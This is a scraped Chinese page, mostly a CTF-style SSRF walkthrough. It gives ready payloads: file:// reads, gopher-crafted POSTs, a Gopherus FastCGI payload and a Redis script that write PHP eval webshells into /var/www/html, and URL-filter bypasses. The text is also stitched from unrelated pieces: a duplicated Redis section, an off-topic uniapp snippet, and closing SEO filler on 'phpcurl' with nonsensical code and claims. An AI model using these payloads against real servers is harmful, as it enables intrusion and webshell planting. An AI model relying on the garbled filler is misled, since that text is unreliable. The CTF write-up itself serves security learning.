import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
解决方法:uniapp 里 onshow 接收不到参数如何解决?
场景描述:
普通页面onLoad可以接收上一页的参数
onLoad(e) {
//获取上个页面传递的地址栏参数 id
console.log(e.id);
<p>
}</p>
但是 onLoad() 页面只会加载一次。
现在有这样一个应用场景:
页面A跳转到页面B,当页面B处理完毕再返回页面A时,页面A不会触发onLoad()。
如果当前页面是其他页面的回调页面,那么其他页面跳转到回调页面时如何获取参数?
此时需要使用onShow()的钩子函数来处理页面栈数据。
onShow(){
<p>
let allPages = getCurrentPages(); //获取当前页面栈的实例;
console.log(allPages);
let lastPages = allPages.length - 1; // 获得倒数第二个元素的索引;
console.log(lastPages);
let option = allPages[lastPages].options; // 获得上个页面传递的参数;
console.log(option);
}</p>
此时,这样就可以从option中获取地址栏参数了。 查看全部
php curl抓取网页指定内容 常用方法:浅析SSRF的各种利用方式
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
解决方法:uniapp 里 onshow 接收不到参数如何解决?
场景描述:
普通页面onLoad可以接收上一页的参数
onLoad(e) {
//获取上个页面传递的地址栏参数 id
console.log(e.id);
<p>

}</p>
但是 onLoad() 页面只会加载一次。
现在有这样一个应用场景:
页面A跳转到页面B,当页面B处理完毕再返回页面A时,页面A不会触发onLoad()。
如果当前页面是其他页面的回调页面,那么其他页面跳转到回调页面时如何获取参数?
此时需要使用onShow()的钩子函数来处理页面栈数据。
onShow(){
<p>

let allPages = getCurrentPages(); //获取当前页面栈的实例;
console.log(allPages);
let lastPages = allPages.length - 1; // 获得倒数第二个元素的索引;
console.log(lastPages);
let option = allPages[lastPages].options; // 获得上个页面传递的参数;
console.log(option);
}</p>
此时,这样就可以从option中获取地址栏参数了。
phpcurl抓取网页指定内容的代码发给你(组图)
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-09-09 23:20
phpcurl抓取网页指定内容的代码,发给你,此时你已经绕过了应用层,将请求地址直接传输给了浏览器。所以直接解析http协议返回的数据不会有任何奇怪的地方。
我们都有过这样的经历:短短几秒钟时间,你的浏览器便把我们感兴趣的网页发给了我们。那么,浏览器是如何做到这样的呢?难道它只是爬虫?当然不是,这是使用php的http模块来完成的。下面让我们来分享下它是如何工作的。在爬虫程序中,有两类请求:一类是request请求,另一类是post请求。request请求如下所示,请求地址是,输入信息后,会获取数据,然后再处理。
另一方面,用户可以向服务器提交内容以请求post请求(例如mysql)。在post请求中,很有意思的是会针对每个请求返回一个相应信息,作为更新数据的依据。假设,如果发出该请求的是一个公司的网页,那么,它通常可以返回三条信息中的任意一条。如下所示所示,通过向服务器发送post请求,服务器就可以更新部门名称和职位名称。
是不是没想到有这么神奇的功能?那么,下面让我们来看看它是如何工作的。我们来看下http的web服务器是如何提供基于url的api访问的。请求头写在http头中,请求体也在。如上面那个post请求所示,在第2步,服务器会先查找post请求的地址是否存在,如果存在,服务器就会返回一个post的链接(其实是要读取的html文件)。
如果该网页没有职位名称的话,那么服务器会提示用户去获取职位名称。只要用户不拒绝这样的请求,那么该网页就会提供相应的职位名称。由于这样做可以防止缓存丢失,保持网页的实时更新。那么,我们来看看http协议中的post请求是如何更新cookie信息的。在浏览器浏览web站点时,浏览器通常会为每一个进程配置一个cookie(其实就是记录你网页所访问的情况的信息)。
用户在打开该网页时,服务器会在cookie中存储cookie值,并会将cookie值和你的浏览器信息(你的浏览器id和昵称等信息)作为该网页的实时标识。这样的话,当你打开其他网页时,服务器会对那些和你一样的cookie值的地址给予响应,网页这样就可以把你之前的网页所有记录的网页id和你的昵称匹配起来。
如下图所示:当你再次访问该网页时,就会出现实时的记录了。我们来分析一下上面的代码,创建一个函数:post...functionpost($env,$export){if(!env&&!export)return;global$envasstring;export=post($env,$export);}这样,在用户请求该网页时,网页会实时存储该网页的cookie。如果响应httpresponse时,调用该。 查看全部
phpcurl抓取网页指定内容的代码发给你(组图)
phpcurl抓取网页指定内容的代码,发给你,此时你已经绕过了应用层,将请求地址直接传输给了浏览器。所以直接解析http协议返回的数据不会有任何奇怪的地方。
我们都有过这样的经历:短短几秒钟时间,你的浏览器便把我们感兴趣的网页发给了我们。那么,浏览器是如何做到这样的呢?难道它只是爬虫?当然不是,这是使用php的http模块来完成的。下面让我们来分享下它是如何工作的。在爬虫程序中,有两类请求:一类是request请求,另一类是post请求。request请求如下所示,请求地址是,输入信息后,会获取数据,然后再处理。

另一方面,用户可以向服务器提交内容以请求post请求(例如mysql)。在post请求中,很有意思的是会针对每个请求返回一个相应信息,作为更新数据的依据。假设,如果发出该请求的是一个公司的网页,那么,它通常可以返回三条信息中的任意一条。如下所示所示,通过向服务器发送post请求,服务器就可以更新部门名称和职位名称。
是不是没想到有这么神奇的功能?那么,下面让我们来看看它是如何工作的。我们来看下http的web服务器是如何提供基于url的api访问的。请求头写在http头中,请求体也在。如上面那个post请求所示,在第2步,服务器会先查找post请求的地址是否存在,如果存在,服务器就会返回一个post的链接(其实是要读取的html文件)。

如果该网页没有职位名称的话,那么服务器会提示用户去获取职位名称。只要用户不拒绝这样的请求,那么该网页就会提供相应的职位名称。由于这样做可以防止缓存丢失,保持网页的实时更新。那么,我们来看看http协议中的post请求是如何更新cookie信息的。在浏览器浏览web站点时,浏览器通常会为每一个进程配置一个cookie(其实就是记录你网页所访问的情况的信息)。
用户在打开该网页时,服务器会在cookie中存储cookie值,并会将cookie值和你的浏览器信息(你的浏览器id和昵称等信息)作为该网页的实时标识。这样的话,当你打开其他网页时,服务器会对那些和你一样的cookie值的地址给予响应,网页这样就可以把你之前的网页所有记录的网页id和你的昵称匹配起来。
如下图所示:当你再次访问该网页时,就会出现实时的记录了。我们来分析一下上面的代码,创建一个函数:post...functionpost($env,$export){if(!env&&!export)return;global$envasstring;export=post($env,$export);}这样,在用户请求该网页时,网页会实时存储该网页的cookie。如果响应httpresponse时,调用该。
【phpcurl抓取网页指定内容】解析执行命令的参数解析
网站优化 • 优采云 发表了文章 • 0 个评论 • 100 次浏览 • 2022-06-21 23:05
phpcurl抓取网页指定内容,给出一个解析执行命令的参数是php,要实现需要一个类servicetask,类定义为myservice,创建一个request来发送指定的内容到它的用户,以及一个curl请求,请求参数里面有结果返回字符串参数类型为curl请求参数lazy方法可以优先抓取路径匹配的内容,解析手动构造数据列表。
curl提供三种方式:正则匹配,
有两种方式。直接用curl生成文件。正则引擎生成。
